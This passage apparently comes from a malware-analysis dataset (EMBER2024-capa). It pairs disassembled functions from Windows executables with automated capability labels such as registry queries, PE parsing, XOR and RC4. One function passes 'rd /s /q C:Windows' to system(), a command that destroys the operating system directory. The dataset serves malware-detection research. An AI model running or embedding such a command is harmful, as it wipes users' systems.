joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000d8e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rbp, r8
mov rsi, rdx
mov edi, 1
test r9d, r9d
je 0x14000d938
sub r9d, edi
je 0x14000d931
sub r9d, edi
je 0x14000d92a
sub r9d, edi
je 0x14000d923
cmp r9d, edi
je 0x14000d91c
mov ebx, edi
jmp 0x14000d93d
mov ebx, 0xffff
jmp 0x14000d93d
mov ebx, 0x40
jmp 0x14000d93d
mov ebx, 2
jmp 0x14000d93d
mov ebx, 8
jmp 0x14000d93d
mov ebx, 0x10
lea rax, [rsp + 0x40]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x14000d96d
mov rdx, rsi
lea rcx, str.ReadRegKey_RegOpenKeyEx_failed_for_pcPath___s.
call fcn.14000ddb0
xor eax, eax
jmp 0x14000d9ce
mov rax, qword [rsp + 0x88]
mov r9d, ebx
mov rcx, qword [rsp + 0x40]
mov r8, rbp
mov qword [rsp + 0x30], rax
xor edx, edx
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x78], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x14000d9c1
mov rdx, rbp
lea rcx, str.ReadRegKey_RegGetValue_failed_for_value___s.
call fcn.14000ddb0
xor edi, edi
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret

Function at 0x14000ddb0
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x250
cmp byte [0x140072588], 0
mov rbx, rcx
je 0x14000de4b
mov qword [rax - 0x10], rdi
lea rcx, [rsp + 0x40]
xor edx, edx
lea rdi, [rax + 0x10]
mov r8d, 0x200
call fcn.140010040
call fcn.140003fb0
mov qword [rsp + 0x30], rdi
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rbx
mov ebx, 0x1ff
mov rcx, qword [rax]
mov r9d, ebx
lea r8d, [rbx + 1]
call fcn.140031f78
test eax, eax
mov ecx, 0xffffffff
cmovs eax, ecx
cmp eax, ecx
lea rcx, [rsp + 0x40]
cmove eax, ebx
cdqe
mov byte [rsp + rax + 0x40], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rdi, qword [rsp + 0x248]
add rsp, 0x250
pop rbx
ret
Function at 0x14000147a
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140004490]
mov dword [rax], 1
mov rax, qword [0x1400044a0]
mov dword [rax], 1
mov rax, qword [0x1400044b0]
mov dword [rax], 1
mov rax, qword [0x140004480]
mov dword [rax], 1
mov rax, qword [0x140004350]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d8
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140001504
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000152a
cmp eax, 0x20b
je 0x140001551
jmp 0x140001580
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000153d
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000156c
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400016e0
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
call sym.__main
lea rax, str.rd__s__q_C:Windows
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001a80
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x1400026b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140007128]
test eax, eax
je 0x14000274a
lea rax, [0x140007100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140007130]
mov qword [rbp - 8], rax
jmp 0x14000272e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002722
cmp qword [rbp - 0x10], 0
je 0x140002722
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400026e8
lea rax, [0x140007100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000274b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002850
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002878
mov eax, 0
jmp 0x1400028c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400028a1
mov eax, 0
jmp 0x1400028c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400028c1
mov eax, 0
jmp 0x1400028c6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x1400028cc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000294a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002941
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002941
mov rax, qword [rbp - 8]
jmp 0x14000295f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002914
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x419d20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rbp, r8
mov r14d, edx
mov r13, rcx
mov ecx, dword [rcx + 0x90]
lea edx, [rcx + r14]
movsxd rax, dword [r13 + 0x94]
cmp edx, eax
jle 0x419ddf
mov rcx, rax
add rcx, rax
test eax, eax
mov eax, 0x2a
cmovne rax, rcx
mov r12, qword [r13 + 0x18]
mov rdi, qword [r12]
movsxd rcx, dword [rdi + 0x9c]
cmp rax, rcx
jle 0x419deb
cmp byte [rdi + 0x67], 0
jne 0x419e3b
cmp byte [rdi + 0x68], 0
jne 0x419e3b
mov byte [rdi + 0x67], 1
cmp dword [rdi + 0xe4], 0
jle 0x419da2
mov dword [rdi + 0x198], 1
add dword [rdi + 0x1a0], 1
mov word [rdi + 0x1a4], 0
mov rcx, qword [rdi + 0x160]
test rcx, rcx
je 0x419e3b
lea rdx, [0x005fc480]
call fcn.00419aa0
mov rax, qword [rdi + 0x160]
mov dword [rax + 0x18], 7
xor eax, eax
jmp 0x419f6a
mov r15, qword [r13 + 0x88]
jmp 0x419ec1
mov r15, qword [r13 + 0x88]
shl rax, 3
lea r8, [rax + rax*2]
test r15, r15
je 0x419e28
cmp qword [rdi + 0x1f0], r15
jbe 0x419e4b
cmp qword [rdi + 0x1e0], r15
jbe 0x419e42
cmp qword [rdi + 0x1e8], r15
ja 0x419e4b
movzx eax, word [rdi + 0x1a6]
cmp r8, rax
ja 0x419e4b
jmp 0x419e67
mov rcx, rdi
mov rdx, r8
call fcn.00429840
mov r15, rax
test rax, rax
jne 0x419e5e
xor eax, eax
jmp 0x419f6a
cmp r8, 0x81
jb 0x419e67
mov rcx, rdi
mov rdx, r15
call fcn.00429900
mov r15, rax
test rax, rax
je 0x419e3b
mov rdi, qword [r12]
test rdi, rdi
je 0x419e8b
cmp qword [rdi + 0x1f0], r15
jbe 0x419e8b
mov eax, pe_nt_image_headers64
cmp qword [rdi + 0x1e0], r15
jbe 0x419e94
cmp qword [rdi + 0x1e8], r15
jbe 0x419f7b
mov rcx, r15
call qword [0x005f6048]
mov dword [r12 + 0x3c], eax
cdqe
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 4
mov dword [r13 + 0x94], edx
mov qword [r13 + 0x88], r15
mov ecx, dword [r13 + 0x90]
movsxd rax, ecx
lea rax, [rax + rax*2]
lea rax, [r15 + rax*8]
test r14d, r14d
jle 0x419f60
mov r9d, r14d
xor edx, edx
lea r8, [0x005fe110]
mov rsi, rax
jmp 0x419f17
movsx ecx, byte [rbp + rdx*4 + 3]
mov dword [rsi + 0xc], ecx
mov byte [rsi + 1], 0
mov qword [rsi + 0x10], 0
mov word [rsi + 2], 0
add rdx, 1
add rsi, 0x18
cmp r9d, edx
je 0x419f59
movzx ecx, byte [rbp + rdx*4]
mov byte [rsi], cl
movsx edi, byte [rbp + rdx*4 + 1]
mov dword [rsi + 4], edi
movsx edi, byte [rbp + rdx*4 + 2]
test edi, edi
setg r10b
mov dword [rsi + 8], edi
movzx ebx, byte [rcx + r8]
mov ecx, ebx
xor cl, 0xfe
test cl, bl
sete cl
cmp r10b, cl
je 0x419ef0
test dil, dil
jle 0x419ef0
add edi, dword [r13 + 0x90]
mov dword [rsi + 8], edi
jmp 0x419ef0
mov ecx, dword [r13 + 0x90]
add ecx, r14d
mov dword [r13 + 0x90], ecx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, word [rdi + 0x1a6]
jmp 0x419e94
Function at 0x428850
Capabilities:
Encode data using xor

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov r14, rdx
mov rdi, rcx
cmp byte [rcx], 0x30
jne 0x42890e
mov al, byte [rdi + 1]
or al, 0x20
cmp al, 0x78
jne 0x42890e
mov edx, 2
mov eax, 1
nop
add eax, 1
cmp byte [rdi + rdx], 0x30
lea rdx, [rdx + 1]
je 0x428880
mov r8d, 0xffffffff
neg edx
mov ecx, 0xffffffff
not rcx
or rcx, rdx
not rcx
movzx edx, byte [rdi + rcx]
lea r10, [0x005fb0a0]
mov r9b, byte [rdx + r10]
mov ebx, r9d
xor bl, 0xf7
test bl, r9b
je 0x428935
xor esi, esi
nop
mov ebx, edx
shr bl, 6
and bl, 1
movzx ebx, bl
lea ebx, [rbx + rbx*8]
add bl, dl
mov edx, ebx
xor dl, 0xf0
and dl, bl
shl rsi, 4
movzx ebx, dl
mov edx, ebx
and edx, esi
xor rsi, rbx
or rsi, rdx
movzx edx, byte [rdi + rcx + 1]
add rcx, 1
movzx ebx, byte [rdx + r10]
not bl
or bl, 0xf7
cmp bl, 0xff
jne 0x4288c0
xor r8, rcx
not r8
and r8, rcx
add rdi, r8
jmp 0x42893c
mov rcx, rdi
call fcn.005f4bd8
and eax, 0x3fffffff
mov rcx, rdi
mov rdx, r14
mov r8d, eax
mov r9b, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.0044b0a0
add rdi, rcx
xor esi, esi
mov ecx, eax
mov qword [r14], rsi
cmp byte [rdi], 0
sete dl
sub ecx, eax
xor ebx, ebx
cmp ecx, 0x10
setg bl
cmp ecx, 0x11
setl al
xor al, dl
add ebx, ebx
test al, al
mov eax, 2
cmove eax, ebx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x466220
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov r15, rcx
mov rcx, qword [rcx + 0x20]
movsxd rax, edx
shl rax, 5
mov rdi, qword [rcx + rax + 0x18]
mov rdx, qword [rdi + 0x10]
test rdx, rdx
je 0x466269
mov rbp, qword [rdx + 0x10]
mov esi, dword [rbp + 0x30]
mov ebx, esi
xor ebx, 0x10
and ebx, esi
mov dword [rbp + 0x30], ebx
mov rdx, qword [rdx]
test rdx, rdx
jne 0x466250
mov rdx, qword [rdi + 0x28]
test rdx, rdx
je 0x466297
nop word cs:[rax + rax]
mov rcx, qword [rdx + 0x10]
and dword [rcx + 0x64], 0xffffff7f
mov rdx, qword [rdx]
test rdx, rdx
jne 0x466280
mov rcx, qword [r15 + 0x20]
mov qword [rsp + 0x28], r15
mov rbx, qword [rcx + rax]
mov qword [rsp + 0x30], rbx
lea rdx, [0x005fd6ff]
mov rcx, r15
mov r8, rbx
call fcn.00426380
xor r14d, r14d
test rax, rax
je 0x466311
cmp byte [rax + 0x3f], 0
jne 0x466311
lea rdx, [0x005fd70c]
mov rcx, r15
mov r8, rbx
call fcn.00419c10
test rax, rax
je 0x4663cc
mov rbx, rax
mov qword [rsp + 0x20], 0
lea r8, [0x0047a410]
lea r9, [rsp + 0x28]
mov rcx, r15
mov rdx, rax
call fcn.0041c6d0
mov r14d, eax
mov rcx, r15
mov rdx, rbx
call fcn.00408130
mov rdi, qword [rdi + 0x28]
test rdi, rdi
je 0x4663df
mov r12d, 5
lea r13, [0x005fd756]
jmp 0x46633c
mov rdi, qword [rdi]
test rdi, rdi
je 0x4663df
mov rbp, qword [rdi + 0x10]
cmp byte [rbp + 0x64], 0
js 0x466330
mov rsi, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x18]
movzx ebx, word [rbp + 0x5e]
cmp bx, 5
cmovae ebx, r12d
movzx eax, word [rcx + 0x3a]
cmp ax, 0x62
jg 0x46636e
mov word [rcx + 0x3a], 0x63
mov ax, 0x63
lea ecx, [rax - 0xa]
cmp qword [rbp + 0x48], 0
cmove ecx, eax
mov word [rsi], cx
lea rcx, [rsi + 2]
lea eax, [rbx + rbx]
movzx r8d, ax
mov rdx, r13
call fcn.005f4c20
movzx eax, word [rbp + 0x5e]
cmp bx, ax
jae 0x4663b4
movzx ecx, bx
nop
mov word [rsi + rcx*2 + 2], 0x17
add rcx, 1
movzx eax, word [rbp + 0x5e]
cmp rcx, rax
jb 0x4663a0
cmp byte [rbp + 0x62], 0
je 0x466330
movzx eax, ax
mov word [rsi + rax*2], 0
jmp 0x466330
mov r14d, 7
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x46631e
cmp r14d, 7
jne 0x466445
cmp byte [r15 + 0x67], 0
jne 0x466445
cmp byte [r15 + 0x68], 0
jne 0x466445
mov byte [r15 + 0x67], 1
cmp dword [r15 + 0xe4], 0
jle 0x46640d
mov dword [r15 + 0x198], 1
add dword [r15 + 0x1a0], 1
mov word [r15 + 0x1a4], 0
mov rcx, qword [r15 + 0x160]
test rcx, rcx
je 0x466445
lea rdx, [0x005fc480]
call fcn.00419aa0
mov rax, qword [r15 + 0x160]
mov dword [rax + 0x18], 7
mov eax, r14d
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x46fea0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov r14, qword [rsp + 0x80]
movzx r10d, cl
lea r15d, [r10 + 1]
movzx esi, word [r8 + r15]
shl esi, 0x10
bswap esi
mov r11d, edx
sub r11d, r9d
nop dword [rax]
mov eax, esi
cmp esi, r11d
jg 0x46ff61
lea ecx, [rax + 2]
movsxd rbx, ecx
movzx esi, byte [r8 + rbx]
shl esi, 8
movzx ecx, byte [r8 + rbx + 1]
mov ebp, esi
not ebp
mov edi, ecx
not edi
and ebp, 0x94aa024
and esi, 0x5f00
or esi, ebp
and edi, 0x94aa024
and ecx, 0xffffffdb
or ecx, edi
xor ecx, esi
mov esi, ecx
sub esi, r9d
jns 0x46ff93
movsxd rsi, eax
movzx esi, word [r8 + rsi]
shl esi, 0x10
bswap esi
add ecx, eax
mov r15d, eax
cmp esi, ecx
jg 0x46fed0
test esi, esi
je 0x46fff5
lea rax, [0x005fb813]
mov qword [rsp + 0x20], rax
lea rdx, [0x005fc003]
lea r8, [0x005fc2fd]
mov ecx, 0xb
mov r9d, 0x10b75
jmp 0x46ffe9
add edx, 0xfffffffc
cmp eax, edx
jle 0x46fff5
lea rax, [0x005fb813]
mov qword [rsp + 0x20], rax
lea rdx, [0x005fc003]
lea r8, [0x005fc2fd]
mov ecx, 0xb
mov r9d, 0x10b7c
jmp 0x46ffe9
cmp esi, 3
jg 0x46ffbd
add r10d, 7
cmp byte [r8 + r10], 0x39
ja 0x46fff5
movsxd rcx, r15d
movsxd rdx, eax
lea rax, [r8 + rdx]
movzx edx, word [r8 + rdx]
mov word [r8 + rcx], dx
add byte [r8 + r10], sil
jmp 0x46fff7
add eax, esi
cmp eax, r11d
jle 0x470004
lea rax, [0x005fb813]
mov qword [rsp + 0x20], rax
lea rdx, [0x005fc003]
lea r8, [0x005fc2fd]
mov ecx, 0xb
mov r9d, 0x10b66
call fcn.00408970
mov dword [r14], 0xb
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
rol si, 8
mov word [r8 + rbx], si
cdqe
add rax, r8
jmp 0x46fff7
Function at 0x47a390
Capabilities:
Encode data using xor

Disassembly:
push rsi
sub rsp, 0x20
mov rax, rcx
mov rcx, qword [rcx + 0x248]
test rcx, rcx
je 0x47a401
mov qword [rax + 0x248], 0
mov r8, qword [rax + 8]
test r8, r8
je 0x47a3f0
mov edx, dword [r8 + 0xc8]
mov eax, edx
not eax
and eax, 0xc970f320
and edx, 0x368f0cdc
or edx, eax
xor edx, 0xc970f321
mov dword [r8 + 0xc8], edx
mov r8, qword [r8 + 0x10]
test r8, r8
jne 0x47a3c0
nop
mov rsi, qword [rcx + 0x28]
call fcn.00445660
mov rcx, rsi
test rsi, rsi
jne 0x47a3f0
add rsp, 0x20
pop rsi
ret
Function at 0x4ce540
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea r8, [0x004ce708]
jmp 0x4ce55b
mov rax, qword [rcx + 0x20]
add rax, 8
mov rcx, qword [rax]
mov eax, dword [rcx + 4]
mov edx, eax
xor edx, 0xfffbdfff
test edx, eax
je 0x4ce583
nop
mov rcx, qword [rcx + 0x10]
mov eax, dword [rcx + 4]
not eax
or eax, 0xfffbdfff
cmp eax, 0xffffffff
jne 0x4ce570
mov dl, byte [rcx]
cmp dl, 0xb0
jne 0x4ce58d
mov dl, byte [rcx + 2]
lea eax, [rdx + 0x76]
cmp al, 0x28
ja case.default.0x4ce5a2
movzx eax, al
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov rax, qword [rcx + 0x20]
mov rax, qword [rax + 0x20]
jmp 0x4ce554
movsx rax, word [rcx + 0x30]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x20]
shl rax, 5
add rax, rcx
add rax, 8
mov rcx, qword [rax]
jmp 0x4ce55b
mov rdx, qword [rcx + 0x40]
test rdx, rdx
je case.0x4ce5a2.1
movsx rcx, word [rcx + 0x30]
mov al, 0x44
test rcx, rcx
js 0x4ce6fe
cmp word [rdx + 0x36], cx
jle 0x4ce6fe
mov rax, qword [rdx + 8]
movabs rdx, 0xffffffff00000000
xor rdx, rcx
and rdx, rcx
lea rcx, [rdx + rdx*2]
mov al, byte [rax + rcx*8 + 0xc]
ret
cmp dl, 0x24
jne case.0x4ce5a2.1
mov r10, qword [rcx + 8]
mov cl, byte [r10]
test cl, cl
je 0x4ce6ff
add r10, 1
xor edx, edx
mov r9b, 0x43
lea r8, [0x005fade0]
jmp 0x4ce663
cmp edx, 0x7265616c
je 0x4ce694
cmp edx, 0x74657874
jne 0x4ce6c8
movzx ecx, byte [r10]
add r10, 1
mov r9d, eax
test cl, cl
je 0x4ce6fe
mov eax, edx
shl eax, 8
movzx ecx, cl
movzx edx, byte [rcx + r8]
or edx, eax
mov al, 0x42
cmp edx, 0x646f7561
jle 0x4ce6b0
cmp edx, 0x7265616b
jg 0x4ce640
cmp edx, 0x646f7562
je 0x4ce694
cmp edx, 0x666c6f61
jne 0x4ce6c8
mov al, 0x45
cmp r9b, 0x43
je 0x4ce650
mov eax, r9d
jmp 0x4ce650
cmp edx, 0x626c6f62
je 0x4ce6e3
cmp edx, 0x63686172
je 0x4ce650
cmp edx, 0x636c6f62
je 0x4ce650
mov ecx, edx
not ecx
or ecx, 0xff000000
mov eax, r9d
cmp ecx, 0xff96918b
jne 0x4ce650
jmp 0x4ce702
mov al, 0x41
cmp r9b, 0x43
je 0x4ce650
cmp r9b, 0x45
je 0x4ce650
jmp 0x4ce69c
mov al, byte [rcx + 1]
ret
mov al, 0x43
ret
mov al, 0x44
ret
Function at 0x4df130
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x18
xor eax, eax
cmp edx, r8d
jg 0x4df389
cmp r8d, edx
cmovl r8d, edx
add r8d, 1
movsxd r10, edx
test r9, r9
je 0x4df264
mov r11b, byte [r9]
lea rax, [r9 + 1]
mov qword [rsp + 0x10], rax
lea rdi, [0x005fade0]
mov qword [rsp], rcx
mov dword [rsp + 0xc], r8d
mov r8d, r11d
jmp 0x4df1a6
add r10, 1
cmp dword [rsp + 0xc], r10d
mov rcx, qword [rsp]
mov r11d, r8d
je 0x4df387
imul rax, r10, 0x68
mov rsi, qword [rcx + rax + 0x28]
xor ebx, ebx
test r11b, r11b
je 0x4df1d1
mov rdx, qword [rsp + 0x10]
mov eax, r11d
nop
movzx eax, al
add bl, byte [rax + rdi]
movzx eax, byte [rdx]
add rdx, 1
test al, al
jne 0x4df1c0
movzx r13d, word [rsi + 0x36]
test r13w, r13w
jle 0x4df190
mov r12, qword [rsi + 8]
xor r15d, r15d
mov rsi, r12
jmp 0x4df1fd
add rsi, 0x18
add r15d, 1
cmp r15d, r13d
je 0x4df190
cmp byte [rsi + 0xe], bl
jne 0x4df1f0
mov rax, qword [rsi]
xor ebp, ebp
jmp 0x4df21f
movzx edx, byte [r11 + rdi]
cmp dl, byte [r14 + rdi]
jne 0x4df1f0
add rbp, 1
movzx r11d, byte [rax + rbp]
movzx r14d, byte [r9 + rbp]
cmp r11b, r14b
jne 0x4df210
test r11b, r11b
jne 0x4df21b
cmp dword [rsp + 0x90], 0
je 0x4df25b
mov eax, r15d
lea rax, [rax + rax*2]
movzx eax, word [r12 + rax*8 + 0x12]
not eax
or eax, 0xfffd
cmp ax, 0xffff
jne 0x4df190
mov rcx, qword [rsp]
jmp 0x4df318
lea r11, [0x005fade0]
jmp 0x4df27d
add r10, 1
cmp r8d, r10d
je 0x4df387
imul rax, r10, 0x68
mov rax, qword [rcx + rax + 0x28]
movzx r14d, word [rax + 0x36]
test r14w, r14w
jle 0x4df270
mov r9, qword [rax + 8]
xor r15d, r15d
mov rbx, r9
jmp 0x4df2ad
add rbx, 0x18
add r15d, 1
cmp r15d, r14d
je 0x4df270
cmp byte [rbx + 0xe], 0
jne 0x4df2a0
mov rsi, qword [rbx]
xor ebp, ebp
jmp 0x4df2c9
test dil, dil
je 0x4df2f0
add rbp, 1
movzx edi, byte [rsi + rbp]
movzx eax, byte [rbp]
cmp dil, al
je 0x4df2c0
movzx edx, byte [rdi + r11]
cmp dl, byte [rax + r11]
je 0x4df2c5
jmp 0x4df2a0
cmp dword [rsp + 0x90], 0
je 0x4df318
mov eax, r15d
lea rax, [rax + rax*2]
movzx eax, word [r9 + rax*8 + 0x12]
not eax
or eax, 0xfffd
cmp ax, 0xffff
jne 0x4df270
mov rbp, qword [rsp + 0x80]
mov eax, 1
test rbp, rbp
je 0x4df389
mov r8, qword [rsp + 0x88]
imul rdi, r10, 0x68
mov edx, dword [rcx + rdi + 0x48]
not edx
or edx, 0xffffdfff
cmp edx, 0xffffffff
je 0x4df37e
mov rcx, qword [rcx + rdi + 0x30]
mov rcx, qword [rcx + 0x20]
mov edx, r15d
shl rdx, 5
mov esi, dword [rcx + rdx + 0x1c]
mov ebx, esi
not ebx
and ebx, 0xbdda44b6
mov edi, esi
and edi, 0x4225bb49
or edi, ebx
xor edi, 0xbdda44f6
and esi, 0x40
or esi, edi
mov dword [rcx + rdx + 0x1c], esi
mov dword [rbp], r10d
mov dword [r8], r15d
jmp 0x4df389
xor eax, eax
add rsp, 0x18
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x4fc720
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov r15, r9
mov r14, r8
xor eax, eax
xor ebx, ebx
cmp rdx, 2
jb 0x4fc750
mov rdi, rdx
nop
add rbx, 1
shr rdi, 1
cmp rdx, 3
mov rdx, rdi
ja 0x4fc740
imul rdx, rbx, 0x68
mov rbx, qword [rcx + rdx + 0x28]
mov rsi, qword [rbx + 0x10]
test rsi, rsi
je 0x4fc926
mov ebx, dword [rcx + rdx + 0x4c]
jmp 0x4fc77d
mov rsi, qword [rsi + 0x28]
test rsi, rsi
je 0x4fc932
cmp qword [rsi + 0x50], 0
je 0x4fc770
movzx eax, word [rsi + 0x5e]
test ax, ax
je 0x4fc770
xor edi, edi
test r15, r15
jne 0x4fc859
jmp 0x4fc7ac
add rdi, 1
movzx ecx, ax
cmp rdi, rcx
jae 0x4fc770
mov rcx, qword [rsi + 8]
cmp word [rcx + rdi*2], 0xfffe
jne 0x4fc7a0
mov rax, qword [rsi + 0x50]
mov rcx, rdi
shl rcx, 5
mov r8, qword [rax + rcx + 8]
test r8, r8
jne 0x4fc7e0
jmp 0x4fc809
mov r8, qword [r8 + 0x20]
add r8, 8
mov r8, qword [r8]
test r8, r8
je 0x4fc809
mov eax, dword [r8 + 4]
not eax
mov ecx, eax
or ecx, 0xfff7dfff
cmp ecx, 0xffffffff
je 0x4fc80c
or eax, 0xfff7ffff
cmp eax, 0xffffffff
jne 0x4fc7d0
add r8, 0x10
mov r8, qword [r8]
test r8, r8
jne 0x4fc7e0
xor r8d, r8d
xor ecx, ecx
xor edx, edx
mov r9d, ebx
call fcn.004cf220
test eax, eax
je 0x4fc916
movzx eax, word [rsi + 0x5e]
jmp 0x4fc7a0
xor r8d, r8d
xor ecx, ecx
mov r9d, ebx
call fcn.004cf220
test eax, eax
je 0x4fc916
movzx eax, word [rsi + 0x5e]
add rdi, 1
movzx ecx, ax
cmp rdi, rcx
jae 0x4fc770
mov rcx, qword [rsi + 8]
cmp word [rcx + rdi*2], 0xfffe
jne 0x4fc849
mov rax, qword [rsi + 0x50]
mov rcx, rdi
shl rcx, 5
